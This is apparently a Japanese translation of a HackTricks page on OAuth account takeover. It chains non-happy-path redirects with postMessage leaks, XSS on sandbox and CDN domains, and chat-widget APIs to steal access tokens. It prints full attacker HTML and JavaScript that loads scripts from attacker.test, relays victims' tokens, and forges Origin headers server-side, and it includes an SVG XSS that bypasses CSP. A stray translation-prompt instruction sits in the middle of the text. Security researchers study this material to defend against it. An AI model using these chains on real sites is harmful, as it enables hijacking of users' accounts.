||||
|
||||
一部のOAuthプロバイダは、`redirect_uri`のパスに追加データを追加することを許可しています。これは、「リダイレクトURIの大文字小文字の変更」と同じように仕様を破っています。例えば、`https://example.com/callback`のリダイレクトURIに対して、以下のように送信します：
|
||||
```
|
||||
response_type=id_token&
|
||||
redirect_uri=https://example.com/callbackxxx
|
||||
```
|
||||
次に、`https://example.com/callbackxxx#id_token` へのリダイレクトが行われます。
|
||||
|
||||
### Redirect-uriパラメータの追加
|
||||
|
||||
一部のOAuthプロバイダは、`redirect_uri` に追加のクエリまたはフラグメントパラメータを追加することを許可しています。これを利用して、URLに追加される同じパラメータを提供することで、非ハッピーパスをトリガーすることができます。たとえば、`https://example.com/callback` のリダイレクトURIを持つ場合、次のように送信します：
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%3fcode=xxx%26
|
||||
```
|
||||
次の場合、リダイレクトは`https://example.com/callback?code=xxx&code=real-code`になります。ウェブサイトが**同じ名前の複数のパラメータを受け取る場合、これは非ハッピーパスをトリガーする可能性もあります**。`token`と`id_token`にも同じことが当てはまります。
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%23id_token=xxx%26
|
||||
```
|
||||
### リダイレクトURIの残り物や設定ミス
|
||||
|
||||
`redirect_uri` 値を含むすべてのサインインURLを収集する際に、他のリダイレクトURIの値も有効であるかどうかをテストすることもできます。テストしたウェブサイトの中で保存した125種類の異なるGoogleサインインフローのうち、5つのウェブサイトではスタートページも有効な `redirect_uri` として機能していました。例えば、使用されている `redirect_uri=https://auth.example.com/callback` の場合、これらの5つのケースでは以下のいずれかも有効でした：
|
||||
|
||||
- `redirect_uri=https://example.com/`
|
||||
- `redirect_uri=https://example.com`
|
||||
- `redirect_uri=https://www.example.com/`
|
||||
- `redirect_uri=https://www.example.com`
|
||||
|
||||
これは特に `id_token` や `token` を実際に使用しているウェブサイトにとって興味深いものでした。なぜなら、`response_type=code` の場合、OAuthプロバイダーはトークンを取得するOAuthダンスの最後のステップで `redirect_uri` を検証するからです。
|
||||
|
||||
## ガジェット1：弱いまたはオリジンチェックのないURLを漏洩させるpostMessageリスナー
|
||||
|
||||
|
||||
|
||||
**この例では、トークン/コードが送信される最終的な非ハッピーパスで、location.hrefを漏洩させるポストリクエストメッセージが送信されています。**\
|
||||
例えば、ウェブサイトにロードされている人気のあるサイトのアナリティクスSDKがありました：
|
||||
|
||||
|
||||
|
||||
このSDKは、メッセージタイプが一致した場合に以下のメッセージを送信するpostMessageリスナーを公開していました：
|
||||
|
||||
|
||||
|
||||
異なるオリジンからそれにメッセージを送信すると、
|
||||
```javascript
|
||||
openedwindow = window.open('https://www.example.com');
|
||||
...
|
||||
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
|
||||
```
|
||||
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/ SaaSプラットフォームの名前（Workspace、aws、gcpなど）、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||||
|
||||
---
|
||||
|
||||
ウィンドウには、ウェブサイトの`location.href`を含むメッセージが表示されます。
|
||||
|
||||
|
||||
|
||||
攻撃に使用できるフローは、コードとトークンがサインインフローでどのように使用されるかに依存しますが、アイデアは次のとおりです。
|
||||
|
||||
### **攻撃**
|
||||
|
||||
1. 攻撃者は、OAuthダンスで非ハッピーパスになるように準備された**作成済みのリンク**を被害者に送信します。
|
||||
2. 被害者がリンクを**クリック**します。新しいタブが開き、攻撃対象のウェブサイトのOAuthプロバイダーの1つで**サインイン**フローが表示されます。
|
||||
3. 攻撃対象のウェブサイトで非ハッピーパスがトリガーされ、**脆弱なpostMessageリスナーがURL付きのままページに読み込まれます**。
|
||||
4. 攻撃者が送信した**元のタブ**は、新しいタブに対して**複数のpostMessage**を送信し、postMessageリスナーが現在のURLを漏洩させるようにします。
|
||||
5. 攻撃者が送信した元のタブは、それに送信されたメッセージを**受信**します。URLがメッセージで返ってきたとき、**コードとトークンが抽出**され、攻撃者に送信されます。
|
||||
6. 攻撃者は、非ハッピーパスに到達したコードまたはトークンを使用して、被害者としてサインインします。
|
||||
|
||||
## ガジェット2：URLを取得するsandbox/third-partyドメイン上のXSS
|
||||
|
||||
|
||||
|
||||
 
|
||||
|
||||
## **ガジェット2：例1、sandbox iframeからwindow.nameを盗む**
|
||||
|
||||
これは、OAuthダンスが終了した**ページにiframeが読み込まれている**ものです。**iframe**の**名前**は、**`window.location`オブジェクトのJSON文字列化バージョン**でした。これは、iframe内のページが親によって`window.name`を設定できる古い方法です。
|
||||
```javascript
|
||||
i = document.createElement('iframe');
|
||||
i.name = JSON.stringify(window.location)
|
||||
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
|
||||
document.body.appendChild(i)
|
||||
```
|
||||
|
||||
|
||||
**iframeに読み込まれたドメインには、単純なXSSもありました**:
|
||||
```
|
||||
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
|
||||
```
|
||||
### 攻撃
|
||||
|
||||
もし、あるドメインのウィンドウに **XSS** がある場合、そのウィンドウは同じオリジンの他のウィンドウにアクセスすることができます。これは、ウィンドウ間に親子/オープナーの関係がある場合に起こります。
|
||||
|
||||
これは、攻撃者がXSSを悪用して、クラフトされた **OAuthリンクを読み込む新しいタブ** を作成することができることを意味します。このリンクは、**トークンを名前に持つiframeを読み込むパスで終わる** ものです。その後、XSSが悪用されたページから、iframeの名前を読み取ることが可能になります。これは、iframeの親ページにオープナーがあるためです。そして、それを外部に漏洩させることができます。
|
||||
|
||||
具体的には以下の手順です：
|
||||
|
||||
1. 悪意のあるページを作成し、XSSを含むsandboxのiframeを埋め込みます：
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
|
||||
x=createElement('script'),
|
||||
x.src='//attacker.test/inject.js',
|
||||
document.body.appendChild(x);"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
|
||||
2. sandboxで読み込まれる私のスクリプトで、被害者に使用するリンクを置き換えます：
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML =
|
||||
'<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
また、リンクが開かれ、アタッカーのページ上のiframeにアクセスできるようになったかどうかを確認するためのスクリプトも開始しました。これは、アタッカーのページと同じオリジンを持つiframeの `window.name` を取得するためです。
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(parent.window.b &&
|
||||
parent.window.b.frames[0] &&
|
||||
parent.window.b.frames[0].window &&
|
||||
parent.window.b.frames[0].window.name) {
|
||||
top.postMessage(parent.window.b.frames[0].window.name, '*');
|
||||
parent.window.b.close();
|
||||
clearInterval(x);
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
|
||||
3. 攻撃者のページは、`window.name` として送信したメッセージを受信するだけです：
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## **ガジェット2: 例2、XSS + 親オリジンチェックを使用したiframe**
|
||||
|
||||
2番目の例では、XSSを使用したiframeが **ハッピーパスではないパス** で読み込まれ、**postMessageを使用してメッセージが許可されたのは`parent`ウィンドウだけ**でした。`initConfig` を要求する際に、`location.href` がメッセージとしてiframeに送信されました。
|
||||
|
||||
メインウィンドウは、以下のようにiframeを読み込みました：
|
||||
```html
|
||||
<iframe src="https://challenge-iframe.example.com/"></iframe>
|
||||
```
|
||||
そして、コンテンツは次のようになりました（実際のものよりもはるかに簡略化されていますが、攻撃をより良く説明するためです）：
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.source !== window.parent) {
|
||||
// not a valid origin to send messages
|
||||
return;
|
||||
}
|
||||
if (e.data.type === 'loadJs') {
|
||||
loadScript(e.data.jsUrl);
|
||||
} else if (e.data.type === 'initConfig') {
|
||||
loadConfig(e.data.config);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
### 攻撃
|
||||
|
||||
この場合、**攻撃者はPost-message XSS脆弱性ページを含むiframeを読み込み**、**XSS**を悪用して**任意のJSを読み込みます**。\
|
||||
この**JS**は**OAuthリンク**を**開きます**。ログイン後、最終ページにはURLにトークンが含まれ、iframe（XSS post-message脆弱性iframe）が読み込まれています。
|
||||
|
||||
その後、悪用されたXSSからの**任意のJS**には、**そのタブへのオープナー**があり、それによって**iframeにアクセス**し、親に`initConfig`（トークンを含むURL）を要求します。親ページはそれをiframeに渡し、それを**リークするように指示**します。
|
||||
|
||||
この場合、前の例と同様の方法を取ることができます：
|
||||
|
||||
1. **iframeが読み込まれたときにスクリプトをトリガーする**ために、**マルウェアページ**に**sandboxのiframeを埋め込む**。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://challenge-iframe.example.com/"
|
||||
onload="run()"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
2. **マルウェアページがiframeの親**であるため、**postMessage（XSS）を使用してiframeにメッセージを送信**し、sandboxのオリジンでスクリプトを読み込むようにします。
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
|
||||
}
|
||||
</script>
|
||||
```
|
||||
3. sandboxで読み込まれるスクリプトでは、コンテンツを**被害者のリンクに置き換えます**。
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML = '<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
また、リンクが開かれ、アクセスしたいiframeが存在するかどうかを定期的にチェックするスクリプトを開始し、iframeからメインウィンドウに対してJavaScriptを実行するためのpostMessageリスナーをアタッチしました。
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(b && b.frames[1]) {
|
||||
b.frames[1].eval(
|
||||
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
|
||||
'top.postMessage({type:'initConfig'},"*")'
|
||||
)
|
||||
clearInterval(x)
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
4. iframeを読み込んだ攻撃者ページは、メインウィンドウのiframe内の注入されたpostMessageリスナープロキシから送信されたメッセージを受信できます。
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## ガジェット3：APIを使用して範囲外のURLを取得する
|
||||
|
||||
|
||||
|
||||
 
|
||||
|
||||
このガジェットは最も楽しいものでした。被害者をどこかに送り、異なる場所から機密データを取得することは何か満足感があります。
|
||||
|
||||
## **ガジェット3：例1、オリジンチェックのないストレージiframe**
|
||||
|
||||
最初の例では、トラッキングデータのために外部サービスを使用しました。このサービスは「ストレージiframe」を追加しました：
|
||||
```html
|
||||
<iframe
|
||||
id="tracking"
|
||||
name="tracking"
|
||||
src="https://cdn.customer1234.analytics.example.com/storage.html">
|
||||
</iframe>
|
||||
```
|
||||
メインウィンドウは、postMessageを使用してこのiframeと通信し、追跡データを送信します。このデータは、`storage.html`が配置されているオリジンのlocalStorageに保存されます。
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
|
||||
```
|
||||
メインウィンドウもこのコンテンツを取得できます：
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
|
||||
```
|
||||
|
||||
|
||||
初期化時にiframeがロードされると、`location.href`を使用してユーザーの最後の位置のためのキーが保存されました。
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
|
||||
```
|
||||
もしもこの元の場所と何らかの方法で通信でき、コンテンツを送信させることができれば、このストレージから`location.href`を取得することができます。サービスのpostMessageリスナーには、オリジンのブロックリストと許可リストがありました。アナリティクスサービスは、ウェブサイトがどのオリジンを許可または拒否するかを定義することができるようです。
|
||||
```javascript
|
||||
var blockList = [];
|
||||
var allowList = [];
|
||||
var syncListeners = [];
|
||||
|
||||
window.addEventListener('message', function(e) {
|
||||
// If there's a blockList, check if origin is there and if so, deny
|
||||
if (blockList && blockList.indexOf(e.origin) !== -1) {
|
||||
return;
|
||||
}
|
||||
// If there's an allowList, check if origin is there, else deny
|
||||
if (allowList && allowList.indexOf(e.origin) == -1) {
|
||||
return;
|
||||
}
|
||||
// Only parent can talk to it
|
||||
if (e.source !== window.parent) {
|
||||
return;
|
||||
}
|
||||
handleMessage(e);
|
||||
});
|
||||
|
||||
function handleMessage(e) {
|
||||
if (data.type === 'sync') {
|
||||
syncListeners.push({source: e.source, origin: e.origin})
|
||||
} else {
|
||||
...
|
||||
}
|
||||
|
||||
window.addEventListener('storage', function(e) {
|
||||
for(var i = 0; i < syncListeners.length; i++) {
|
||||
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
|
||||
}
|
||||
}
|
||||
```
|
||||
また、`allowList`に基づいた有効なオリジンがある場合、同期を要求することもできます。これにより、このウィンドウで行われたlocalStorageの変更が行われたときに、それらが送信されます。
|
||||
|
||||
### 攻撃
|
||||
|
||||
OAuthダンスの非ハッピーパスでこのストレージがロードされたウェブサイトでは、`allowList`オリジンが定義されていませんでした。**したがって、オリジンがウィンドウの`parent`である場合、任意のオリジンがpostMessageリスナーと通信できるようになりました**。
|
||||
|
||||
1. 悪意のあるページを作成し、ストレージコンテナのiframeを埋め込み、iframeの読み込み時にスクリプトをトリガーするonloadをアタッチしました。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/storage.html"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
|
||||
2. 悪意のあるページがiframeの親になったため、`allowList`にオリジンが定義されていないため、悪意のあるページはiframeにメッセージを送信してストレージにストレージの更新に関するメッセージを送信することができました。また、悪意のあるページにリスナーを追加して、ストレージからの同期更新を受け取ることもできました。
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'sync'}, '*')
|
||||
}
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data && e.data.type === 'sync') {
|
||||
document.getElementById('leak').innerText = 'トークンを盗みました：' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
3. 悪意のあるページには、被害者がクリックするための通常のリンクも含まれていました。
|
||||
|
||||
```html
|
||||
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
|
||||
target="_blank">ここをクリックしてトークンを乗っ取る</a>';
|
||||
```
|
||||
|
||||
4. 被害者はリンクをクリックし、OAuthダンスを経て、トラッキングスクリプトとストレージのiframeがロードされた非ハッピーパスに到達します。ストレージのiframeは`last-url`の更新を受け取ります。localStorageが更新されたため、悪意のあるページのiframe内で`window.storage`イベントがトリガーされ、ストレージが変更されるたびに更新を受け取るようになった悪意のあるページは、被害者の現在のURLを含むpostMessageを受け取ります。
|
||||
|
||||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **ガジェット3：例2、CDNでの顧客の混乱 - オリジンチェックのないDIYストレージSVG**
|
||||
|
||||
解析サービス自体にバグバウンティがあったため、ストレージのiframeに適切なオリジンが設定されているウェブサイトでもURLを漏洩させる方法を見つけることに興味がありました。
|
||||
|
||||
顧客の部分を除いた`cdn.analytics.example.com`ドメインをオンラインで検索し始めたところ、このCDNにはサービスの顧客がアップロードした画像も含まれていることに気付きました。
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||||
https://cdn.analytics.example.com/img/customer21131/test.png
|
||||
```
|
||||
私もこのCDNで`Content-type: image/svg+xml`としてインラインで提供されているSVGファイルを見つけました。
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
|
||||
```
|
||||
私はサービスのトライアルユーザーとして登録し、自分のアセットをアップロードしました。それはCDNにも表示されました。
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
興味深いのは、CDNのために顧客固有のサブドメインを使用した場合でも、画像が提供されることです。このURLは機能しました：
|
||||
```
|
||||
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
|
||||
|
||||
これは、ID #94342の顧客が顧客 #12345 のストレージ内のSVGファイルをレンダリングできることを意味します。
|
||||
|
||||
私は、単純なXSSペイロードを持つSVGファイルをアップロードしました：
|
||||
|
||||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:,alert(document.domain)"></script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
|
||||
素晴らしくありません。CDNは`img/`以下のすべてに`Content-Security-Policy: default-src 'self'`ヘッダーを追加しました。また、サーバーヘッダーにはS3が言及されており、コンテンツがS3バケットにアップロードされたことが明らかになりました。
|
||||
|
||||
|
||||
|
||||
S3の興味深い特徴の1つは、ディレクトリが実際にはS3ではないということです。キーの前のパスは「プレフィックス」と呼ばれます。つまり、S3はURLエンコードされているかどうかに関係なく、URL内のすべてのスラッシュをURLエンコードすればコンテンツを提供します。URL内の`img/`を`img%2f`に変更すると、画像は引き続き解決されます。ただし、その場合、CSPヘッダーが削除され、XSSがトリガーされます。
|
||||
|
||||
|
||||
|
||||
その後、通常の`storage.html`と同じ形式のストレージハンドラーとpostMessageリスナーを作成するSVGをアップロードしましたが、`allowList`は空です。これにより、ストレージと通信できる許可されたオリジンを適切に定義しているウェブサイトでも同じ種類の攻撃が可能になりました。
|
||||
|
||||
次のようなSVGをアップロードしました：
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||||
</svg>
|
||||
```
|
||||
次に、例1と同じ手法を使用できますが、`storage.html`をiframe化する代わりに、URLエンコードされたスラッシュを含むSVGをiframe化することができます。
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
サイト自体はこれを修正することはできないため、代わりにCDNを担当するアナリティクスプロバイダーに報告しました：
|
||||
|
||||
|
||||
|
||||
サードパーティの設定ミスバグを調査するアイデアは、トークンの漏洩を達成するための複数の方法があることを確認するためでした。サードパーティにはバグバウンティがあったため、これは同じ種類のバグの別の受信者にすぎませんでした。違いは、影響がアナリティクスサービスのすべての顧客に及ぶことです。この場合、サードパーティの顧客はツールを適切に設定してデータを漏洩させないようにする能力を実際に持っていました。ただし、機密データはサードパーティに送信されたため、顧客の適切なツールの設定を完全にバイパスする方法があるかどうかを確認することは興味深いものでした。
|
||||
|
||||
## **ガジェット3：例3、チャットウィジェットAPI**
|
||||
|
||||
最後の例は、ウェブサイトのすべてのページ、エラーページを含むチャットウィジェットに基づいています。複数のpostMessageリスナーがあり、そのうちの1つは適切なオリジンチェックなしでチャットポップアップを開始することができます。別のリスナーは、チャットウィジェットが初期化呼び出しと現在のユーザーに使用されるチャットAPIトークンを受け取るための厳格なオリジンチェックを持っていました。
|
||||
```html
|
||||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.data.type === 'launch-chat') {
|
||||
openChat();
|
||||
}
|
||||
});
|
||||
|
||||
function openChat() {
|
||||
...
|
||||
}
|
||||
|
||||
var chatApiToken;
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.origin === 'https://chat-widget.example.com') {
|
||||
if (e.data.type === 'chat-widget') {
|
||||
if (e.data.key === 'api-token') {
|
||||
chatApiToken = e.data.value;
|
||||
}
|
||||
if(e.data.key === 'init') {
|
||||
chatIsLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function chatIsLoaded() {
|
||||
...
|
||||
}
|
||||
</script>
|
||||
```
|
||||
チャットのiframeが読み込まれた場合：
|
||||
|
||||
1. チャットウィジェットのlocalStorageにchat-api-tokenが存在する場合、それをapi-tokenとして親ウィンドウにpostMessageで送信します。chat-api-tokenが存在しない場合は何も送信しません。
|
||||
2. iframeが読み込まれたら、`{"type": "chat-widget", "key": "init"}`というpostMessageを親ウィンドウに送信します。
|
||||
|
||||
メインウィンドウでチャットアイコンをクリックした場合：
|
||||
|
||||
1. すでにchat-api-tokenが送信されていない場合、チャットウィジェットは新しいトークンを作成し、自身のオリジンのlocalStorageに保存し、親ウィンドウにpostMessageで送信します。
|
||||
2. 親ウィンドウはチャットサービスにAPIコールを行います。APIエンドポイントは、サービスに設定された特定のウェブサイトに対してCORS制限があります。リクエストを送信するためには、有効な`Origin`ヘッダをAPIコールに提供する必要があります。このヘッダには、chat-api-tokenも含まれます。
|
||||
3. メインウィンドウからのAPIコールには、`location.href`が含まれ、それが訪問者の「現在のページ」としてchat-api-tokenとともに登録されます。レスポンスには、チャットセッションを開始するためのウェブソケットに接続するためのトークンが含まれます。
|
||||
|
||||
```json
|
||||
{
|
||||
"api_data": {
|
||||
"current_page": "https://example.com/#access_token=test",
|
||||
"socket_key": "xxxyyyzzz",
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
この例では、chat-api-tokenの公開は常にチャットウィジェットiframeの親に公開されることに気付きました。chat-api-tokenを取得した場合、ブラウザに対してのみCORSヘッダが重要であるため、サーバーサイドのリクエストでトークンを使用してサーバーサイドのリクエストを行い、自分自身の人工的な`Origin`ヘッダをAPIコールに追加することができました。これにより、次のチェーンが生成されました：
|
||||
|
||||
1. チャットウィジェットのiframeを埋め込んだ悪意のあるページを作成し、chat-api-tokenを受け取るためのpostMessageリスナーを追加しました。また、2秒間にapi-tokenを受け取っていない場合にiframeをリロードするイベントをトリガーしました。これは、チャットを開始していない被害者もサポートするためであり、リモートでチャットを開始することができるため、まずはチャットapi-tokenが必要でした。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||||
<script>
|
||||
var gotToken = false;
|
||||
function reloadToCheck() {
|
||||
if (gotToken) return;
|
||||
setTimeout(function() {
|
||||
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
|
||||
}, 2000);
|
||||
}
|
||||
window.onmessage = function(e) {
|
||||
if (e.data.key === 'api-token') {
|
||||
gotToken = true;
|
||||
lookInApi(e.data.value);
|
||||
}
|
||||
}
|
||||
launchChatWindowByPostMessage();
|
||||
</script>
|
||||
```
|
||||
2. 悪意のあるページにリンクを追加し、URLにトークンが含まれるチャットウィジェットのページを開くためのサインインフローを開きます：
|
||||
|
||||
```
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
|
||||
```
|
||||
3. `launchChatWindowByPostMessage()`関数は、メインウィンドウに対して継続的にpostMessageを送信し、チャットウィジェットを起動します：
|
||||
|
||||
```javascript
|
||||
function launchChatWindowByPostMessage() {
|
||||
var launch = setInterval(function() {
|
||||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||||
}, 500);
|
||||
}
|
||||
```
|
||||
4. 被害者がリンクをクリックしてエラーページに移動し、チャットが起動し、チャットapi-tokenが作成されます。悪意のあるページ上のチャットウィジェットのiframeのリロードにより、postMessageを介して`api-token`を取得し、その後、被害者の現在のURLをAPIで確認できます：
|
||||
|
||||
```javascript
|
||||
function lookInApi(token) {
|
||||
var look = setInterval(function() {
|
||||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||||
if (e &&
|
||||
e.api_data &&
|
||||
e.api_data.current_url &&
|
||||
e.api_data.current_url.indexOf('access_token') !== -1) {
|
||||
var payload = e.api_data.current_url
|
||||
document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
|
||||
clearInterval(look);
|
||||
}
|
||||
});
|
||||
}, 2000);
|
||||
}
|
||||
```
|
||||
5. `https://fetch-server-side.attacker.test/?token=xxx`のサーバーサイドページは、追加されたOriginヘッダを使用してAPIコールを行い、Chat-APIが正当なオリジンとして使用していると思わせます：
|
||||
|
||||
```javascript
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
async function getDataFromChatApi(token) {
|
||||
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
|
||||
}
|
||||
function handleRequest(request) {
|
||||
const token = request.url.match('token=([^&#]+)')[1] || null;
|
||||
return token ? getDataFromChatApi(token) : null;
|
||||
}
|
||||
```
|
||||
6. 被害者がリンクをクリックしてOAuthダンスを経てトークンが追加されたエラーページに移動すると、チャットウィジェットが突然表示され、現在のURLが登録され、攻撃者は被害者のアクセストークンを取得します。
|
||||
|
||||
## URLを漏洩させるための他のアイデア
|
||||
|
||||
まだ見つかっていないさまざまなタイプのガジェットが存在します。以下は、利用可能なレスポンスモードを使用してURLを漏洩させる可能性のあるケースの一つです。
|
||||
|
||||
### 任意のpostMessageをオープナーにルーティングするドメイン上のページ
|
||||
|
||||
すべての`web_message`レスポンスタイプは、オリジンのパスを検証できないため、有効なドメイン上の任意のURLはトークンを含むpostMessageを受け取ることができます。ドメイン上のいずれかのページにpostMessageリスナープロキシが存在し、それが送信されたメッセージを受け取り、すべてを`opener`に送信する場合、ダブルウィンドウ.openチェーンを作成できます：
|
||||
|
||||
攻撃者のページ1：
|
||||
```html
|
||||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||||
```
|
||||
攻撃者のページ2：
|
||||
```html
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||||
```
|
||||
そして、`https://example.com/postmessage-proxy` には次のようなものがあるでしょう:
|
||||
```javascript
|
||||
// Proxy all my messages to my opener:
|
||||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||||
```
|
||||
OAuthプロバイダからトークンを`https://example.com`の正当なオリジンに送信するために、`web_message`-responseモードのいずれかを使用することができますが、エンドポイントはトークンをさらに`opener`に送信します。これは攻撃者のページです。
|
||||
|
||||
このフローは不可能に思えるかもしれませんし、2回のクリックが必要です。1回目は攻撃者とウェブサイトの間にopener関係を作成し、2回目はOAuthフローを起動し、正当なウェブサイトをOAuthポップアップのopenerとして持つことです。
|
||||
|
||||
OAuthプロバイダはトークンを正当なオリジンに送信します：
|
||||
|
||||
|
||||
|
||||
そして、正当なオリジンにはopenerへのpostMessageプロキシがあります：
|
||||
|
||||
|
||||
|
||||
これにより、攻撃者がトークンを取得します：
|
||||
|
||||
|
||||
**投稿をチェック[https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
